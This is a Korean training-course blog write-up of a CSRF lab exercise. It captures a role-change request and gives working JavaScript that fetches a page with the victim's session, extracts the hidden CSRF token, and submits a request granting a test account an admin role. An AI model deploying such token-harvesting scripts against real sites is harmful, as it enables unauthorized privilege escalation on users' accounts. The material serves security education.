yon11b

[SK 쉴더스 루키즈] CSRF 실습문제 3번 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] CSRF 실습문제 3번

yon11b 2026. 6. 30. 00:56
반응형

권한변경 페이지: /csrfToken/update_role.jsp

 

권한변경 요청 Request

POST /csrfToken/update_role_ok_csrfToken.jsp HTTP/1.1
Cookie: NEXT_LOCALE=ko; JSESSIONID=9E37D8E3A10F39AC4F58F54831D060EE
Content-Type: application/x-www-form-urlencoded
Referer: https://lab.eqst.co.kr:8444/csrfToken/update_role.jsp

target_id=test1%40test.com&new_role=ADMIN_csrfToken&csrfToken=19e3bfc7-1fa3-4a74-a126-9bbe631f063f

 

csrfToken을 같이 보내고 있다. 이 csrfToken은 권한변경 페이지에 hidden으로 숨겨져 있다.

 

hidden을 없애면 csrfToken이 보인다.

이 csrfToken 값은 새로고침할 때마다 바뀐다.

 

게시글 작성 시나리오

1. 권한변경페이지(/csrfToken/update_role.jsp)를 GET 요청으로 불러오기

2. 권한변경페이지에서 csrfToken를 찾아서 추출하기

3. 권한변경요청 API(/csrfToken/update_role_ok_csrfToken.jsp)에 이메일, 권한, csrfToken을 포함하여 POST로 요청

    target_id=test1@test.com&new_role=ADMIN_csrfToken&csrfToken={권한변경페이지에서 동적으로 불러온 값}

<script>
// 1단계: CSRF 토큰이 포함된 페이지 요청
fetch('/csrfToken/update_role.jsp', {
  method: 'GET',
  credentials: 'include' // 세션 쿠키 유지를 위해 필수
})
.then(response => response.text()) // HTML을 텍스트 형태로 수신
.then(htmlString => {
  // 2단계: DOMParser를 이용해 HTML 문자열을 DOM 객체로 변환
  const parser = new DOMParser();
  const doc = parser.parseFromString(htmlString, 'text/html');
  
  // name이 csrfToken인 input 요소의 value 추출
  const csrfTokenElement = doc.querySelector('input[name="csrfToken"]');
  
  if (!csrfTokenElement) {
    throw new Error('CSRF 토큰을 찾을 수 없습니다.');
  }
  
  const csrfToken = csrfTokenElement.value;
  console.log('추출된 CSRF 토큰:', csrfToken);

  // 3단계: 추출한 토큰을 포함하여 실제 POST 요청 전송
  // (폼의 action이 update_role_ok_csrfToken.jsp 이므로 해당 주소로 전송)
  return fetch('/csrfToken/update_role_ok_csrfToken.jsp', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    // body에 토큰을 동적으로 결합
    body: `target_id=test1@test.com&new_role=ADMIN_csrfToken&csrfToken=${encodeURIComponent(csrfToken)}`,
    credentials: 'include'
  });
})
.then(response => {
  if (response.ok) {
    console.log('권한 변경 요청 성공');
  } else {
    console.error('권한 변경 요청 실패:', response.status);
  }
})
.catch(error => {
  console.error('프로세스 중 에러 발생:', error);
});
</script>

성공!

728x90